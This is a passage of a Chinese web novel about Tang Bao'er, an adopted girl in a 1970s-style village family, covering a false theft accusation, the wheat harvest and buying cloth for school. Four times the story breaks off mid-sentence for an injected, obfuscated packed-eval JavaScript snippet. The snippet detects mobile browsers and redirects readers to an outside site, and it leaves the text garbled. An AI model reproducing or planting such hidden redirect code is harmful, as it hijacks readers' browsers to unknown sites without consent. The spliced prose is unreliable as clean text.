这话听得刘芬心神气爽,她从包里掏出一把水果糖分给大家,“来来来,大家吃糖。” 这年节糖可是稀罕物,没想到唐老大媳妇竟然主动还拿糖分给大家,都高兴极了,殷切地话说了一轮又一轮。 晓梅和唐宝儿走过去了,各叫了一声大伯母。 “都长这么大了,快吃糖,别跟大伯母客气。”刘芬各给她们分了一颗糖。 大概是天气热,也有可能是糖放久了,糖纸和糖粘合到了一起,糖渍浸到手上黏糊糊的,唐宝儿同堂姐一起道过谢后,就到了后院去放背篓。 因为今天刘芬回来,所以家里难得的买了肉和排骨,切了萝卜加上盐炖一块,满院子飘香。 刘芬还要整理东西,村里的人待了一会就散了,唐家今天是侯松梅做饭,唐宝儿把手洗干净,厨房那边的侯松梅就叫了唐宝儿过去。 “来替三伯母尝尝这肉炖得怎么样了。”侯松梅说着,便将一筷子肉夹到了唐宝儿的嘴边。 唐宝儿犹豫了一下,要看肉熟不熟,用筷子插一下就知道了,三伯母这是明显要给自己开小灶啊。 她长到五岁,三伯母一直都对自己很好。 她咽了下口水,家里难得吃一回肉,“三伯母,还是你自己尝吧。” 距离午饭已经过去了好几个小时,唐宝儿早已经饥肠辘辘了。 “快,听话。” 唐宝儿闻言,只好张开嘴将肉咬进了嘴里,浓郁的肉香混着萝卜的清甜,在舌尖弥漫开来,肉炖得很入味,而且已经很软和了,吃进嘴里,恨不得连舌头都一块吞下了。 她不禁道,“三伯母,这肉可真好吃。” 侯松梅笑眯眯地摸了她的脑袋,“等会晚饭的时候再多吃点。” 侯松梅给唐宝儿开小灶的过程正好被刘芬瞧见了,她忍不住皱紧了眉头,一共就那么几块肉,就这样被吃了一块,那她的成润和成新不就得少吃一块了? 真想不通老三媳妇是怎么想的,莫不是被下了降头了?要是自己家的亲生孩子也就算了,偏偏还是个在外面捡来的野丫头。 对她再好,终究不是他们唐家人,没有流着他们唐家人的血。 刘芬闷不做声地走进了唐老二夫妻俩住的西屋。 林丹红看到大嫂刘芬,自然是喜不自胜,“嫂子,你怎么过来了?快坐快坐。” “我刚回来时见到那个丫头了。” 刘芬这话一说,林丹红便知道她说的就是唐宝儿了,她如闻知音,恨不得马上把自己掏心窝子的话都跟刘芬说上一遍。 刘芬揣着手,不由自主地摆出了长嫂的架势,“不是我说你老二媳妇,当时要收养这孩子时,我和你大哥都不在,但是你们怎么就这样同意了老四夫妻俩收养这女娃了呢?我和你大哥每次寄钱回来,不是为了养这个没有血亲关系的野丫头的。” “是娘她同意的,我也没有办法啊,你是不知道,老四那两口子对这个野丫头,简直像对亲闺女似的,不,比对亲闺女还好,那叫一个捧在手里怕坏了含在嘴里怕化了……” 刘芬怒其不争,“这老四夫妻也太拎不清了。” …… 晚饭吃萝卜炖肉排骨,这个时节能吃的蔬果很多,豆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055400|149180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 角、茄子、毛豆、黄瓜……都正当季,侯松梅用韭菜和蒜瓣凉拌了一个蒸茄子,冬瓜切成块红烧,还有咸水煮毛豆,主食是玉米面馒头和绿豆稀粥,这在乡下已经是一顿非常不错的晚饭了。 吃过晚饭后,都各回了各屋,唐宝儿洗过澡后,姚秋月拿着干的帕子给她绞干头发。 唐宝儿的身上带着股皂荚的香气,这五年来,姚秋月和唐实夫妻两个看着孩子从嗷嗷待哺的小婴儿,牙牙学语,蹒跚学步,到会开口叫他们爹娘,他们已经在宝儿的身上付出了无数的心血和情感,也获取到了无数的喜怒哀乐,她就是他们唯一的宝贝女儿。 “吱呀”一声,北屋的门被推开,听到这个脚步声唐宝儿就知道是唐实回来了,“爹爹!” “欸,我的乖女儿。” 唐实摸了摸她的头,变戏法似的从身后掏出一袋糖来,“看我给你们带了什么?” “糖?!” 唐宝儿惊喜地从他手里接过,竟然还是奶糖。 “娘,你吃。”唐宝儿先剥了一颗糖,却不是先给自己吃,而是喂到姚秋月的嘴边。 姚秋月也没有拒绝孩子的好意,摸了摸她的耳朵,“真甜。” 唐宝儿将奶糖的糖衣剥掉塞进嘴里,这奶糖甜滋滋的,奶味特别浓,真好吃。 “我给你留了饭菜,你吃过了吗?”晚饭时唐实不在家,姚秋月便单独盛了一份饭菜出来搁橱柜里给他留着。 “已经吃了。”他在炕边上坐下,“等新学期开始,宝儿就该上学了,你给她缝书包了没?” 前两年剩了不少废弃的布料边角料,姚秋月就用来缝制了一个单背带的简易书包,她还特意做了个二层包角,也更耐磨能用得更久些。 姚秋月从樟木箱子里翻出书包递给宝儿,“背上给你爹看看。” 唐宝儿便把书包背上了,虽然身上还是带着稚嫩的孩子气,但看起来也勉勉强强像个小学生了。 “好好好,等到了九月份,我们家宝儿就是个小学生了。” 唐宝儿闻言,脸上露出笑容来,其实村里的孩子大多都是六七岁才开始上小学,但家里的哥哥姐姐都上学了,唐宝儿也眼馋得紧,缠着唐实说想要上学,幸好村里的小学对入学年龄要求也不是很严,她才能顺利地报上名了。 和她一起开学的,还有比她大一岁的成孝,以及比她大几个月的成和,绿水村的小学只有一个班级,他们到时候也会是同一个班的同学。 姚秋月看着唐宝儿身上的衣服,心里盘算着还剩的那一点布票,凑一凑,还是能够做一套小孩子的衣服的。 “等到了九月份,还得给孩子做身新衣服,开学了要有新样貌,宝儿现在身上的衣服都旧了。” “行,到时候咱们一起到公社上去,顺带和你们娘俩去国营食堂吃顿好的。”唐实胳膊搂着妻女。 “太好了!”唐宝儿听到唐实的话,高兴得手舞足蹈起来。 唐实夫妻俩见状,脸上也不由得带上了欢乐的笑意。 5. 第5章 今天轮到姚秋月做饭,吃过早饭后,唐宝儿帮着姚秋月洗了碗,喂了猪,这头猪是公社里分过来养的,从年头养到年尾,自己出粮食,过年前拖到大队上宰杀了,按着大队的要求交够定量的肉,剩下的肉就可以由着负责养猪的人家自己处理了。 可以卖了还钱,也可以留着自己家里吃,厚厚的过一个好年。 纯喂粮食肯定划不来,唐家是家里的每个孩子轮流去打猪草,混着泔水,再添进去一点便宜的粮食。 天气热,姚秋月不想闺女一块在厨房待着,将她打发出去玩了。 唐宝儿从厨房出来,转了一圈想找晓梅一起去采野菊花,山里的野菊花晒干了泡水喝能降火,还有股甜甜的味道。 但没瞧见晓梅的人影,成润和成新兄弟俩在嗑瓜子吃,她愣了一下,上前问道,“成润哥哥,成新哥哥,你们看见晓梅姐姐了吗?” “噢,晓梅啊?我刚才看见她背着背篓上山去了。”成润给她指了山里的方向。 “谢谢成润哥哥。” 唐宝儿出门后,成新才不解地问哥哥,“哥,晓梅明明是去河边洗衣服了,你咋跟她说晓梅是到山里去了?” “让她白跑一趟,你不觉得很有意思吗?”成润坏笑道,他肚子里的坏水正愁没地方倒呢。 成新听见笑了,“哥,还是你聪明!” 绿水村的西边有座大山,名叫绿桂山,每到夏天,这座大山就成了村里孩子们的天然宝库,各种好吃的好玩的都有,野山柿、野山楂、拐枣、山莓……酸酸甜甜的特别好吃,长着许多高大的树,葱葱郁郁的,青翠欲滴。 唐宝儿在山里找了一圈,自然是没有找到晓梅的人影。 不免有些沮丧。 她从山里回去的时候,才碰上捧着木盆往回走的晓梅。 “成润跟你说我到山里去了?”晓梅皱眉道,“我出门的时候他们明明看见了我抱着木盆往河边走,咋故意给你指了错的路?” 今天天气又闷又热,唐宝儿在山里跑了一圈没找到人,额头上都是汗水,“可能是忘记了,也不是故意的。” 虽然嘴上是这么说,但唐宝儿心里也想着成润成新兄弟俩是真不靠谱,这次吃了亏,下次可得长个心眼。 晓梅拉着堂妹的胳膊,加快了脚步,“走,你跟我一起回家问问他!” 堂姐妹俩回到家时,成润兄弟俩还在嗑瓜子吃,晓梅看见自己出门前扫得干干净净的地板被丢了一地的瓜子壳,暗自捏了捏拳头,忍着怒气上前问道。 “成润哥,成新,你们刚才不是看见我出门洗衣服了吗?咋跟宝儿说我到山里去了?” “宝儿想找我一起去摘野菊花,在山里找了半天都没找见我!” “噢!原来你去洗衣服了,我还以为你到山里去了,真是不好意思。”成润双手环抱,漫不经心地说道。 “成润哥骗人,他们明明知道晓梅是去洗衣服了,就是故意骗唐宝儿的,我刚才都听见了!”成孝说道。 成孝虽然听见了,但他整日听着林丹红背地里嘀咕,当然也不喜欢唐宝儿,更不会告诉她。 “你!” 成润心思被人戳破,恼羞成怒,刚想给这几个村里的土包子一点教训。 刘芬忙出来打和场,“成润哥就是逗你们玩一下,别放心上,我让他下次注意,再也不这样逗你们了。” “晓梅,你们不是要一块去摘野菊花吗?快去吧,等会野菊花都被人摘完了,别跟你成润哥计较。” 刘芬是长辈都发话了,唐宝儿她们也只能就此揭过去了。 …… 唐家日常的规矩是每天轮流一个媳妇在家做饭,剩下的人都到队里上工,但刘芬早已经多年不干农活了,她这次回来肯定也不会再去队里干农活,所以平日就在家里待着。 姚秋月叫了唐宝儿过去,变戏法似的从五斗橱里拿出一块鸡蛋糕。 “鸡蛋糕?!”鸡蛋和面粉的甜香窜入鼻尖,唐宝儿眼睛一亮。 这种鸡蛋糕是用新鲜的鸡蛋、白糖、香油精和面粉做的,放在炉子里烤熟了,看起来金黄油亮,酥软可口。 “娘,这是哪来的鸡蛋糕?” “这是我昨天去外婆家,外婆给的,一共给了五块,我拿回来后给了两块你奶,我知道刚才宝儿受委屈了,吃块鸡蛋糕甜一甜,剩下的就放在柜子里,你啥时候想吃了就拿来吃。” 姚秋月刚才在后院,把刘芬的话都听在了耳里,一面心疼闺女,一面也不由得感慨以大嫂这样护短的性子,日后成润会走上什么弯路也说不准。 唐宝儿将鸡蛋糕掰下来半块,“娘,咱们一起吃。” 姚秋月摸了摸女儿的脸蛋,“好了,我要去剁猪草了,你自己吃吧,在屋里吃了再出去。” 她出去时,还贴心地将门带上了。 唐宝儿拿着鸡蛋糕,在炕上坐下,小心翼翼地咬了一口,入口即化的鸡蛋糕,酥软香甜,真是无比美味的食物。 感觉直接甜到了心坎里。 吃完后,唐宝儿还恋恋不舍地把手上的碎屑给舔干净了。 唐宝儿刚想要出门洗手,就撞见了刘芬。 “大伯母。”她开口叫人。 “嗯。”刘芬本来不想搭理这个小丫头,但她感觉自己好像嗅到了一丝鸡蛋糕的甜香味,再看唐宝儿的嘴边,还沾着鸡蛋糕的碎屑呢。 鸡蛋糕? 她哪来的鸡蛋糕吃? 刘芬脸色很快便沉了下来。 她想起来自己回来时带的那四块鸡蛋糕,心里暗道不好,回屋里看了眼,果然只剩下了三块! 这个手脚不干净的死妮子!她连两个孩子都没舍得给他们吃,想着要用到刀刃上,没想到竟然被这个死丫头偷吃了,这死丫头,咋这么馋呢! 她偏要狠狠地给她吃个教训不可。 刘芬心里忍不住咒骂道。 晚上七点,唐家准时开饭,今天吃的是凉拌豇豆、醋溜白菜、山芋烧茄子,一到夏天,家里吃凉拌菜的次数也变高了,天气热就适合吃凉拌菜,省油还清爽,主食是大米粥还有蒸得蓬松暄软的大馒头。 唐宝儿自然是坐在爹娘的中间,唐实给闺女拿了块馒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055401|149180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,姚秋月则给她的小碗里夹菜。 凉拌的豇豆清清爽爽的,姚秋月还往里滴了醋和香油,配着粥吃最合适了,炒的醋溜白菜脆生生的,一点也不水踏踏的,至于山芋烧茄子,更是鲜香软嫩,山芋耙乎乎的,放进嘴里就化了。 刘芬等了很久,终于家里人都齐了,她清了清嗓子,“有些事情不是我非要计较,恐怕有些人以后要长歪了,误入歧途,当妯娌的,当小叔的反而要来怨我这个大嫂当时没有及时制止。” 刘芬这话一出,家里的大人面面相觑,都有些摸不着头脑。 她又补充了一句,“我算是明白了,什么叫日防夜防,家贼难防。” 陈凤篱皱紧了眉头,“老大媳妇,你有话直说,在这含沙射影的说什么呢?” 刘芬闻言,也不卖弄关子了,直接道,“我昨日从城里回来时,在城里的供销社买了四块鸡蛋糕,还舍不得吃呢,没想到今天就少了一块,我一看,那宝儿的嘴角还沾着鸡蛋糕的碎屑呢!” “我这当大伯母的,也不是非得计较这一块两块鸡蛋糕,孩子馋了想吃,跟我说一声就好了,小小年纪的为一口吃的去偷东西,这传出去多难听啊!更何况有句老话怎么说的?小时偷针大时偷金,老四,老四媳妇,你们可得好好管教下,孩子太宠着了不管教也不成……” 陈凤篱这下算是明白了,“你的意思是,宝儿偷了你的鸡蛋糕?” “如果不是偷我的,那她哪里来的鸡蛋糕吃?” 这样大一顶的锅忽然扣在头上,唐宝儿感觉一口血气涌上胸膛,她拿着筷子的手颤了一下,眼圈很快就红了。 陈凤篱叹了口气,“老四媳妇,还是你来跟你大嫂说吧。” 闺女莫名其妙被指摘一通,还差点被扣上莫须有的罪名,姚秋月也有些生气,她冷笑了声,“大嫂,宝儿吃的鸡蛋糕是我从娘家带回来的,我还给了娘两块,你不信可以问娘!” 陈凤篱气笑了,“老四媳妇说的没错,那两块鸡蛋糕我还没吃,需要拿过来给你验个证明吗?” 刘芬脸色一白,尖声叫道,“这不可能,这不可能……如果她没有偷,那我的鸡蛋糕是被谁偷吃的?” 说完,她的眼神在剩下的几个孩子中扫过。 侯松梅忙护住自己的俩儿子,“大嫂,我们家成鸣成和可没有偷吃你的鸡蛋糕!俩孩子不稀得干这事。” 剩下的晓梅、晓巧和成孝都纷纷表示没有吃过。 最后,还是成新弱弱开口道,“娘,你别找了,是我吃了一块。” 刘芬气得眼睛一白,都快要气昏过去了,本来想狠狠地拍一把他的脑袋,但手上还是收了力气,“你吃鸡蛋糕,咋不跟我说!” “你也没问我啊。”成新委屈道。 看到家里人都在看自己,刘芬尴尬地坐了下来,颤颤巍巍地拾起筷子给唐宝儿夹了一筷子菜,“宝儿,都是大伯母不好,差点冤枉了你,晚点你要是还想吃鸡蛋糕,就上大伯母哪里去。” 侯松梅见状,终于忍不住一声嗤笑了出来。 刘芬恨不得钻进地缝里去。 6. 第6章 田家少闲月,五月人倍忙。每年的阳历七八月,便是农历五月份,芦花溪公社的各个生产队就要开始热火朝天的收麦子了。 及时抢收不仅能避免过度成熟而出现粒子脱落、甚至烂穗等问题,保证麦子的产量和品质。 日头正当高,双脚踩在被暑气蒸腾的田地里,弯下的脊梁烤晒着炎热的阳光,豆大的汗珠不停地从额头滑落,沿着皮肤滑落到地里头。 参与抢收麦子的生产队每个村民都能记十个工分,因此唐家除了陈老太、刘芬和几个小的,其他人都到田里去了,中午的时候陈老太领着几个小的做了午饭,再让他们送到地里头去。 唐宝儿手里提着个篮子,收麦子是个辛苦活,陈老太心疼几个儿子儿媳,特意用精粮掺着细粮蒸了香喷喷的馒头,打了十几颗鸡蛋和大葱一块煎了,还有解渴的青菜丝瓜汤。 唐宝儿拎着篮子快步走一会又慢几步,她心里也着急,只是走快了怕饭菜撒了,走慢了又担心爹娘不能及时的吃上饭。 禾场里已经堆了不少割完了运上来的麦子,这些麦子用碌碡碾过两三遍,基本上麦子就能从麦穗上脱落下来了,碌碡吱呀地滚动着,木叉翻动麦穗发出刷刷啦啦的声音,还有村民挥动梿枷打麦的嗵嗵声,一片繁忙。 轧好的麦子趁有风的时候用木掀迎风抛向空中,借用风力把麦子里掺着的秕子、麦秆和麦糠给分出去,这个活计相对来说轻松些,主要也是安排妇女在干。 直到一床麦子打完了,大家才得以休息一下,在树荫下乘凉喝点茶水,吃个午饭。 “娘!”唐宝儿一眼就看到了人群中包着头巾的姚秋月,“吃饭了!” 唐实在地里割麦子的也下工了,唐宝儿给饭菜摆好,又搬过来两块砖石,父母吃饭时,她就用一张蒲葵叶在旁边给他们扇凉。 天气太热了,空气黏糊糊的,就连路边的狗尾巴草都被晒蔫得抬不起头了。 若是平时唐宝儿心里肯定期盼着来一场大雨凉快凉快,但现在她可不敢这样想,万一下雨了这一地的麦子就废了,下了雨,麦秆沾上水也扬不起来了。 姚秋月皮肤白,被晒得脸上脖子翻红,脖子处也被草帽的绳子勒出了痕迹,头发上也沾了不少麦绒和杂草,乱糟糟的一团,唐宝儿看着心里不太好受,眼睛有些泛酸,忍不住用手给姚秋月前面的碎发拨到耳后去。 姚秋月欣慰地笑道,“我们宝儿也知道心疼娘了。” “没事的,一年也就那几天,熬一熬就过去了。等收完麦子,天气也就凉快了,到时候不管干什么活都轻松多了。”姚秋月安慰闺女道。 嘴上是这么想,姚秋月心里也不由得感慨,这日子一年又一年的,什么时候才是个头啊。 这日子像搅稀泥一样过,整个公社的人搅和在一起,明明都已经这么卖力的干活了,却还总是缺衣少食的。 …… 抢收完麦子,还有晚谷、黍等夏播作物也正是播种最忙的季节,要趁着前段时日的暴雨,稻田里还有积下来的雨水,赶快把秧子插了。 另外,春天时候播种的玉米、大豆也正在需要除草、施肥的季节,土豆也要在这个季节抢挖,许多蔬菜瓜果也是在这个季节移栽。 忙忙碌碌、脚不沾地的熬过了农忙季,社员们才终于可以好好地歇一歇喘口气了。 正巧一场暴雨整整下了一日,冲刷掉了七月的所有忙碌和疲惫,原本刚经过丰收的土地被冲刷平整,原本就长势正好的作物愈加青翠鲜亮了,整个绿水村浸在雾腾腾的雨中,像是走进了江南的水墨世界。 次日雨停了,唐宝儿就和家里的哥哥姐姐们一起上了山,刚下过雨,长出来的野菜是最新鲜的,种类也多,有野韭菜、马齿苋、薤白,几个孩子们在山里泡了一整天,每个人都挖回去了一大篮子的野菜。 这种天气吃点清爽消暑的野菜是最合适的了,配上粥吃,那真是无比的惬意,陈老太用香油和醋,拍了点蒜米拌上了,上桌不到一会功夫就被夹光了。 一连躺了几日,感觉身体的元气都恢复了,唐实便盘算着要带闺女到公社上去了。 大清早的吃过早饭,唐实找熟识的人借了辆凤凰牌的自行车,宝儿坐前杠,姚秋月坐后座,一家三口就这样到公社去了。 从绿水村到芦花溪公社有十几里地呢,反正也不赶时间,他专门挑阴凉的树荫下骑车,遇到上坡母女俩就下来走路,唐实推着车等她们。 走了大概四十分钟,终于到公社了。 “咱们先去国营食堂吃碗馄饨,再去供销社买做衣裳的料子。”唐实道。 唐宝儿感觉上次吃馄饨已经是很久以前的事情了,听到爹爹说要带她们去吃馄饨,想到那鲜美的味道,紧实的肉馅,当下口水就忍不住流了下来。 “小馋猫!”姚秋月点了下她的下巴。 国营食堂是由国家出钱建立的,食堂门口挂着块方二尺的小牌子,上面用粉笔写着食堂今天供应的主食和菜谱。 馄饨有三种口味的,素馅、三鲜还有鲜肉,他们一致地选择了鲜肉馄饨。 “离早饭已经过去了这么久,肯定早就饿了,快吃吧。”姚秋月刮了刮她的鼻子,笑着说道。 于是唐宝儿就开动了,那馄饨皮薄馅大,晶莹剔透,一口下去全是肉,馄饨汤里还加着紫菜,特别的鲜特别的好吃。 唐宝儿在家里时食量不算大,但馄饨整整一大碗她都吃完了,但是汤喝不下了,唐实便主动替闺女消灭了剩下的馄饨汤。 从国营食堂出来,他们转了转,去了公社里的供销社。 这个供销社是两间青砖砌的瓦房,门口挂着一块木牌,上边用绿墨水写着“芦花溪供销社”的几个大字,里面还挺大的,有各种日用品、吃食、还有文具以及布料,平日里村民们需要买个盐和酱油醋,火柴蜡烛,一般都是到这里来买。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055402|149180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 临近开学,售货员对这样的一家三口早已见怪不怪,分别指了指两个不同等级的料子,“这个好一点的料子六角钱一尺,还需要3尺的粮票,这是次一点的料子四角钱一尺,1尺粮票。” 姚秋月分别看了下两种料子,便宜的是普通的棉质布料,一共有黄红蓝三个色,贵的是化纤布料,也叫“的确良”,颜色要更鲜亮多样些。 一共有三款颜色:粉红、豆绿和浅灰。她听说现在城里就流行这种料子做衣裳,穿起来又薄又耐穿,不用烫,不褪色,容易洗,干得快,不走样。 姚秋月犯了难,要是挑贵的料子她手上的粮票不够,要是挑便宜的还能有些富余。 她就这么一个闺女,自然想给她买好的。 “娘,咱们买便宜的。”唐宝儿拉着姚秋月的胳膊往料子前走,不愿意让母亲为难,“挑一块这个料子吧,我喜欢棉布,穿起来又透气又舒服。” 队里每年按人头,一个人就能分上五六尺的布票,要是买的确良的衣料,那得用掉他们一家三口一整年的布票了。 万一到了冬天,想要再添置件棉衣添置双袜子,那就只能捉襟见肘了。 唐实对于布料没啥想法,听到唐宝儿想要棉布料,便拿起一块在她身上比划了一下,“咱们闺女皮肤白,穿啥颜色都好看!” “以后上了小学,咱闺女肯定是班级里最漂亮的那个。” 唐实说的是实话,他就没见过绿水村有哪个孩子比他们家闺女还漂亮的。 唐宝儿鼓着气,“爹,你就是看我看顺眼了,才觉得我好看。” “谁说的!” 父女俩插诨打科。 供销社里供应的棉布都是那种老式机器织出来的土棉布,跟旁边的的确良比起来显得皱巴巴的,姚秋月开口,“要不咱们先扯上两尺的确良的料子,你外婆那里应当还有些剩余的布票……” “娘,外婆家里还有好几个表哥呢,他们也要开学了。” 姚秋月感念她的懂事,心里也有些埋怨自己的无能为力,摸了摸她的脑袋道,“那你自己挑一块喜欢的料子吧。” 唐宝儿便挑了块黄色的,黄色不像蓝色那样沉静,也不像红色那样张扬,却透着一股朝气蓬勃的鲜活气息。 姚秋月便要了6尺的黄色料子,那售货员用布尺量了,沉重的大剪刀一刀裁过去,正好6尺,不多不少。 买完了布,姚秋月还让售货员称了一点水果糖,难得出来一趟,不给家里孩子带点零嘴说不过去。 水果糖的滋味在嘴里蔓延,甜滋滋的带着水果的清香,真好吃,唐宝儿幸福地眯了眯眼睛。 姚秋月知道孩子吃多了糖对牙齿不好,因此也控制着宝儿吃糖,不许一次吃太多,但家里也没几次能吃糖的机会就是了。 临近中午的时候,已经办妥了所有的事情,唐实便像来的时候那样蹬着自行车,载着媳妇和闺女回家了。 7. 第7章 夏季是南瓜的丰收季,唐家的自留地菜园子里种得最多的就是南瓜,黄澄澄的南瓜浑身是宝,富含多种维生素和胡萝卜素,可以补充能量,对肠道,眼睛皮肤都有很大的好处。 而且南瓜也很好吃,香甜软糯的,能用来蒸着吃,炒着吃,还能用来做南瓜饼,而且南瓜还耐储存,放到冬天,北方在外面呼啸的吹,在屋子里喝上一碗烧得热乎乎的老南瓜汤,别提有多惬意了。 除了南瓜外,南瓜籽也能吃,加上盐巴用大铁锅炒得酥酥脆脆的,用来当做打发时间的零嘴,上嘴唇下嘴唇那么一嗑,饱满醇香的南瓜仁就出来了。 南瓜藤蔓和南瓜花都能吃,用猪油和蒜米那么一炒,清脆爽口,这就是一盘备受欢迎的粥菜了。 但天天吃南瓜,多了也会腻,这天轮到姚秋月做饭,她看着眼前的南瓜,想着家里也有段日子没吃肉了,大人小孩估计都馋得厉害。 她问了嘴在院子里玩的几个娃娃,“孩子们,你们想不想吃南瓜粉蒸肉?” 这年头谁能不想吃肉?孩子们异口同声,“想。” 姚秋月便在征得婆婆的同意后,拿了六毛钱到村口的猪肉摊割了一斤的五花肉。 卖猪肉的也认得姚秋月,专门给她切了一整条肥瘦相间的足斤足两的五花肉,光是看着就知道这肉做熟了一定特别好吃。 姚秋月拎着肉回了家,泡好的大米用水淘洗干净,倒入筲箕中把水沥干,泡过的大米吃起来口感软糯很多。 将八角、茴香还有干辣椒洗干净,干辣椒剪成段,这些大料还是过年时炖肉剩下的。 唐宝儿看到姚秋月回来,就不跟其他堂哥堂姐玩了,而是噔噔跑了进来在灶台前坐下,“娘,我帮你烧火。” “行嘞。”姚秋月摸了摸孩子的脑袋。 唐宝儿虽然年纪不大,但她可是一个烧火小能手,拿起火夹钳把一根根不同的干柴放进灶膛里,架成一座井字形的桥梁,那火柴一点,橘红色的火焰蹿了起来。 陈老太说过火要空心,人要实心,烧火要把灶空里的柴架空,这样火才能旺。 混着香料的大米放进锅里用小火炒,米香混合着香料的香味,瞬间吸引了在院子里玩的几个孩子,都凑了进来,围着灶台看姚秋月做饭。 把大米炒黄后,姚秋月就用石磨把大米碾了,她只碾了一遍,做蒸肉粉不能太粗不能太细,稍微有细小的颗粒,这样口感才会好。 接下来就是腌肉了,肥瘦正好的五花肉切成厚片,加上黄酒和酱油腌了,再加进一大勺蒸肉粉与肉充分拌匀,切成块的老南瓜也稍微沾上一点盐巴铺在碗底,上面铺上拌好的五花肉,等水开了后就放进去蒸三十分钟。 出锅的粉蒸肉香味浓郁,糯而清香,酥而爽口,米粉油润,有肥有瘦,红白相间。底下的南瓜也沾满了五花肉的香味和油脂,吃起来香极了。 家里人对这道粉蒸肉赞不绝口,“弟妹这个做粉蒸肉的手艺真是一流,能赶上国宴大厨了!” 姚秋月听到这话忍不住笑了,“我哪有人家国宴大厨的本事,不过是从小看我娘做多了学着的。” 话虽然这么说,但她眉眼间带笑,也是为自己的手艺感到骄傲的。 …… 做衣服的料子买回来了,姚秋月便要开始给唐宝儿做衣裳了。 时下直接买成衣是很贵的,大多数老百姓都是买了布料回家自己做衣服,姚秋月的娘做得一手的好针线活,姚秋月耳濡目染,做针线活也算精通,唐宝儿从小到大的衣服袜子都是她给做的。 尺寸是不必量了,孩子有多高多大,她都心里有个数。 衣服是照着大众款式裁剪的,但姚秋月还另外花了些心思,在领口和袖口分别缝上了绿萝,袖子也不是那种宽大板正的,微微收了些做成了“荷叶边”的样式,还专门挑了好看的扣子。 大概做了两三天,衣服就做好了。 姚秋月叫了唐宝儿回来试衣服。 布料是唐宝儿自己选的花色,清新艳丽,唐宝儿本来就生得漂亮,眼睛大而有神,睫毛又长又翘,皮肤白皙细腻,村子里很少有其他小孩比唐宝儿长得还白净的,换上这衣服,更显得小姑娘精神了。 “我们宝儿真漂亮。” 唐宝儿被夸得不太好意思,忍不住吐了吐舌头,她伸手在衣服上的花纹处摸了摸,上边的绣花针脚细腻,布料缝合处的线补了一道又一道,看着就知道这衣服肯定穿着很严实牢固。 “谢谢娘给我做衣服。”唐宝儿心里很感动。 “娘给你做一切都是应该的。” 姚秋月摸摸孩子的脸蛋,从五年前决定收养她的那一刻起,她就发誓要把她当成亲生女儿对待。 唐宝儿想要把衣服脱下来,这么好的新衣服她可舍不得现在穿,万一弄脏了就不好了,她得等到开学那一天再穿上新衣服上学。 眼看着唐宝儿要把衣服换下来,姚秋月拦住她道,“先穿着,晚点再换下来洗吧。” 唐宝儿点点头,“好。” 篱笆院的墙根下,几只鸡正用喙啄着地上的鸡食,主要是一些剩饭、菜叶和麦麸,晓巧抠着衣服上的补丁,表面上是在看鸡吃食,实际上心思早已经不知道飘到哪里去了。 晓巧今年正好九岁,正在绿水村小学念三年级。 家里的老二永远是最不收待见的那一个,就拿做衣服来说,弟弟成孝每年都能做两套新衣服,晓梅还有舅舅家表姐的旧衣服可以捡来穿,她就只能穿晓梅再穿旧的三手衣服。 从去年过年,娘就没有给她做衣服,眼瞅着就要开学了,村子里的不少同班同学都做了新衣服,林丹红却看起来一点给她做新衣服的意思都没有。 她长到这个年纪,早已经懂得了一点爱美之心,她每次看到班级上的同学穿着新衣服,自己却总是一身补丁,瞧着总是灰头土脸的多寒碜,连别人看她的眼神都带着异样。 要是开学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055403|149180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了她还穿着这一身带补丁的旧衣服,那班上的同学会拿什么样的眼光看待她,晓巧想到这,感觉都能急哭出来了。 前几天唐实和姚秋月带唐宝儿到公社扯布料做衣服,晓巧心里真羡慕啊,要是她的爹娘对她也能像四叔四婶对唐宝儿那样那该有多好啊。 想了很久,晓巧还是想去找林丹红。 起码她应该为自己争取一下。 她找到林丹红里的时候,林丹红正在屋里套被子。 “娘,我来帮你。” 林丹红已经把被单给套上了,于是晓巧便抓住被子两个角,帮着一起把被子给抖平整。 “娘,开学我就上四年级了。”她戳着自己的手指道。 “嗯。”林丹红正忙着,没工夫理会她。 “娘,你看我这衣服都旧了。” 